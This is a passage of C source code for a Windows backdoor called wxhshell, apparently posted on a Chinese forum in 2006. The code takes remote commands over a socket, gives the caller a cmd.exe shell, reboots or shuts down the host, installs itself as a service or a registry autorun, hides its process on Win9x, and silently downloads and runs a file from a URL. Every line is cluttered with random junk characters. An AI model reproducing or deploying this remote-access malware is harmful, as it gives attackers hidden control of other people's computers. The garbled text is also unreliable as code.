    switch(cmd[0]) { <!|=_W6  
  }JT&lyO< b  
  // 帮助 pBQ[lPCY/  
  case '?': { F1`mq2^@  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); X&K,,C  
    break; +ZBj_Vw*|  
  } R~N%sn  
  // 安装 *y>|  
  case 'i': { F{}:e QD  
    if(Install()) bs?4|#[K  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *S Z]xrs  
    else g)MLgjj  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (hv}K*c{  
    break; R/^;,.  
    } o9v9 bL+X  
  // 卸载 ~i}/  
  case 'r': { =)]RD%Oq  
    if(Uninstall()) 91#n Aj%  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); #e9XU:9 @g  
    else T(~^X-k  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BTE&7/i 21  
    break; SC2g5i`  
    } lPlJL`e  
  // 显示 wxhshell 所在路径 }yCgd 5+_  
  case 'p': { uuCVI2|  
    char svExeFile[MAX_PATH]; ,l\D@<F  
    strcpy(svExeFile,"\n\r"); M49Hm[0(  
      strcat(svExeFile,ExeFile); VC!g,LU|-  
        send(wsh,svExeFile,strlen(svExeFile),0); b1ZHfe:  
    break; qEjsAL  
    } CR|>?9V  
  // 重启 `R$bx 64  
  case 'b': { {Z[kvXf"mZ  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); <R#:K7> O  
    if(Boot(REBOOT)) wKz*)C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8[8U49V9(  
    else { jqoU;u`  
    closesocket(wsh); U(:t$SBKy  
    ExitThread(0); #mO.[IuD  
    } vF@.B M>  
    break; |'#uV)b0@  
    } uYc&Q$U  
  // 关机 Zo,]Dx  
  case 'd': { a+\s0Qo<  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); HMR!XF&JjC  
    if(Boot(SHUTDOWN)) 8ZO~=e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Gv\fF;,R  
    else { nON "+c*  
    closesocket(wsh); v/wR) 9  
    ExitThread(0); 061f  
    } Ob -k`@_|  
    break; )v.\4Q4  
    } Lismo#  
  // 获取shell a.AEF P4N  
  case 's': { i"hn%u$V  
    CmdShell(wsh); P`M1sON~  
    closesocket(wsh); Y+~>9-S  
    ExitThread(0); 2f-Or/v  
    break; cuQ=bRIb  
  } %M05& <  
  // 退出 vYG$>*  
  case 'x': { Aj=c,]2  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); );x[1*e  
    CloseIt(wsh); :SpPT  
    break; !myF_cv}'  
    } >Q^*h}IdW  
  // 离开 \Ng[lN  
  case 'q': { *(<3 oIRS  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 9}Zi_xK&|e  
    closesocket(wsh); 8m) E~6  
    WSACleanup(); OB ~74}3;  
    exit(1); Ga^k1TQq  
    break; , Onu%  
        } F ?TmOa0  
  } 6~q"#94  
  } H\e<fi%Q  
ia /_61%  
  // 提示信息 4:v{\R  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 8f|+045E@  
} -3:x(^|:K  
  } YcBAW4B`  
fBt7#Tc=U  
  return; j-etEWOTr  
} GEi^3UD  
&rxR"^x\  
// shell模块句柄 zX/9^+p:  
int CmdShell(SOCKET sock) 3836Di:{  
{ Cqk6Igw  
STARTUPINFO si; LIHf]+  
ZeroMemory(&si,sizeof(si)); o>Z+=&BZ@a  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; $(%t^8{a~G  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; sQe>LNp,G  
PROCESS_INFORMATION ProcessInfo; 5=Y\d,SS"  
char cmdline[]="cmd"; bpe WK&  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); _Msaub!N  
  return 0; \Tj(]  
} bga2{<VF  
:dzam HbX9  
// 自身启动模式 -n~VMLd?@  
int StartFromService(void) D<cHa |  
{ V]9 ?9-r  
typedef struct 3bPvL/\Lb  
{ ~UJ_Rr54  
  DWORD ExitStatus; KcjP39@I  
  DWORD PebBaseAddress; I*K~GXWs#  
  DWORD AffinityMask; DavG=kvd  
  DWORD BasePriority; th*E"@  
  ULONG UniqueProcessId; JEes'H}Y  
  ULONG InheritedFromUniqueProcessId; z '%Vy  
}   PROCESS_BASIC_INFORMATION; 1 {V*(=Tp  
xTL"%'|  
PROCNTQSIP NtQueryInformationProcess; SLc'1{  
07+Qai-]  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; D*j\gI  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; QRv2%^L  
`4 A%BKYB  
  HANDLE             hProcess; KmkPq]  
  PROCESS_BASIC_INFORMATION pbi; ),)]gw71QW  
[e'Ts#($A  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); f/qG:yTV`  
  if(NULL == hInst ) return 0; Sf\mg4,  
oa|nQ`[  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); fhmq O0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); fm\IQqIK%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); pJ5Sxgv{;  
DFt1{qS8@u  
  if (!NtQueryInformationProcess) return 0; K(HP PM\  
,tL<?6_  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); [?hc.COE  
  if(!hProcess) return 0; o3l_&?^  
Xu:S h<:R  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; MLcc   
3l 0>  
  CloseHandle(hProcess); $9\!CPZ2  
;HJ|)PN5L  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); g+k0Fw]!  
if(hProcess==NULL) return 0; 3B|o   
T!)v9L  
HMODULE hMod; `:A`%Fg8<  
char procName[255]; eJ#q! <   
unsigned long cbNeeded; ``}EbOMG  
8:,l+[\  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 6nRD:CH)X  
i9oi}$;J  
  CloseHandle(hProcess); pVt8z|p_;{  
&la;Vu"dp  
if(strstr(procName,"services")) return 1; // 以服务启动 fG5U' Vw  
m$:o+IH/  
  return 0; // 注册表启动 b{t'Doe  
} }cG!93  
7!`,P  
// 主模块 snV,rZ  
int StartWxhshell(LPSTR lpCmdLine) s7<x~v+^  
{ FHI` /  
  SOCKET wsl; RI"A'/56  
BOOL val=TRUE; -lm\~VZT3  
  int port=0; 0p_/eWww-  
  struct sockaddr_in door; nj~1y ')  
C_Y^<  
  if(wscfg.ws_autoins) Install(); ^~2GhveBV  
0t1WvW  
port=atoi(lpCmdLine); )sVz;rF<  
5/Q^p"  
if(port<=0) port=wscfg.ws_port; <ok/2v  
C-$S]6  
  WSADATA data; [dL4u^]{  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; c?CjJ}-7  
9Ay*'   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   _rK}~y=0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); b&Qj`j4]ZM  
  door.sin_family = AF_INET; a="Z]JGk  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); !~cTe!T  
  door.sin_port = htons(port); XFPWW,  
DGTSk9iK(  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { m#mM2Guxe  
closesocket(wsl); !h{qO&ZH=  
return 1; 2`Xy}9N/Y  
} z)r)w?A  
bH&Cbme90-  
  if(listen(wsl,2) == INVALID_SOCKET) { w3c[t~R8  
closesocket(wsl); S\ ~Wpf  
return 1; TDdFuO'}  
} U&|=dH]-  
  Wxhshell(wsl); GM{m(Y  
  WSACleanup(); $cFanra  
jAmAT /1  
return 0; VC\43A,9  
O/>$kG%ge  
} AS[cz! >  
!12W(4S5  
// 以NT服务方式启动 H~1*`m  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) -#H>kbs  
{ ^ S'}RZ*>  
DWORD   status = 0; ;GO>#yg4Eh  
  DWORD   specificError = 0xfffffff; s2Ivd*=mT  
`itaQGLD  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !q! =VC  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RZ9vQ\X U)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 7E4=\vM  
  serviceStatus.dwWin32ExitCode     = 0; eZ y)>.6Z  
  serviceStatus.dwServiceSpecificExitCode = 0;  ;OQ{  
  serviceStatus.dwCheckPoint       = 0; |0ahvsrtW  
  serviceStatus.dwWaitHint       = 0; Funep[rA  
X~GnK>R  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [>Kkj;*  
  if (hServiceStatusHandle==0) return; W~ XJ']e  
R}a,.C  
status = GetLastError(); Sve~-aG  
  if (status!=NO_ERROR) ;=Jj{FoG%  
{ Slcf=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; DHJh.Y@H  
    serviceStatus.dwCheckPoint       = 0; iTi<X|X  
    serviceStatus.dwWaitHint       = 0; IM}T2\tZ}  
    serviceStatus.dwWin32ExitCode     = status; p mcy(<  
    serviceStatus.dwServiceSpecificExitCode = specificError; J (Yfup  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0ejx; Mum  
    return; /Ws@YP  
  } *;8tj5du  
oorit  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; -kxNJ Gc?  
  serviceStatus.dwCheckPoint       = 0; qdrk.~_  
  serviceStatus.dwWaitHint       = 0; W`K XO|'p@  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); xxgS!J  
} f2B?Zn  
(Kd;l &8  
// 处理NT服务事件,比如:启动、停止 &F*s.gL  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B@` 87  
{ R4u=.  
switch(fdwControl) 0#KDvCBJ  
{ meT~b  
case SERVICE_CONTROL_STOP: C] qY  
  serviceStatus.dwWin32ExitCode = 0; 2f16 /0J@  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ~T9%%W[  
  serviceStatus.dwCheckPoint   = 0; R$4&>VBu  
  serviceStatus.dwWaitHint     = 0; E$; =*0w  
  { oJbD|m  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); wIz<Y{HA=  
  } .a1WwI  
  return; u{yENZ^P  
case SERVICE_CONTROL_PAUSE: [ /w{,+U  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _9wX8fh3D  
  break; [WnX'R R  
case SERVICE_CONTROL_CONTINUE: $&Ng*oX  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mHB*4L  
  break; I.A7H'j  
case SERVICE_CONTROL_INTERROGATE: ,5HQHo@  
  break; B1 oi]hDy  
}; :XEP:8  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); T~7i:<E^  
} 7R[4XQ%  
mS5'q q;t  
// 标准应用程序主函数 QpwOrxI}  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t/LQ|/xo  
{ fGHYs  
_?kjIF  
// 获取操作系统版本 j<>E Fd  
OsIsNt=GetOsVer(); #ok1qT9_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); A&rk5y;  
O7 %<(  
  // 从命令行安装 &duWV6Acw  
  if(strpbrk(lpCmdLine,"iI")) Install(); XYhN;U}Z  
at]=SA  
  // 下载执行文件 >{p&_u.r-  
if(wscfg.ws_downexe) { mk8xNpk B  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) }&Un8Rg"h  
  WinExec(wscfg.ws_filenam,SW_HIDE); G < Z)y#  
} im|( 4 f  
#\[h.4i  
if(!OsIsNt) { a,tzt ]>  
// 如果时win9x,隐藏进程并且设置为注册表启动 lfp[(Ph)9  
HideProc(); &[$qA  
StartWxhshell(lpCmdLine); eRc+.m[  
} Qyvn A|&  
else C']TO/2q  
  if(StartFromService()) z^$DXl@)h  
  // 以服务方式启动 Yb\t0:_  
  StartServiceCtrlDispatcher(DispatchTable); wl1i @&9  
else htX;"R&  
  // 普通方式启动 q`_d>l  
  StartWxhshell(lpCmdLine); je@F:5  
B:#5U85m  
return 0; 2K4Jkyi  
}
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只看该作者 1 发表于: 2006-10-10
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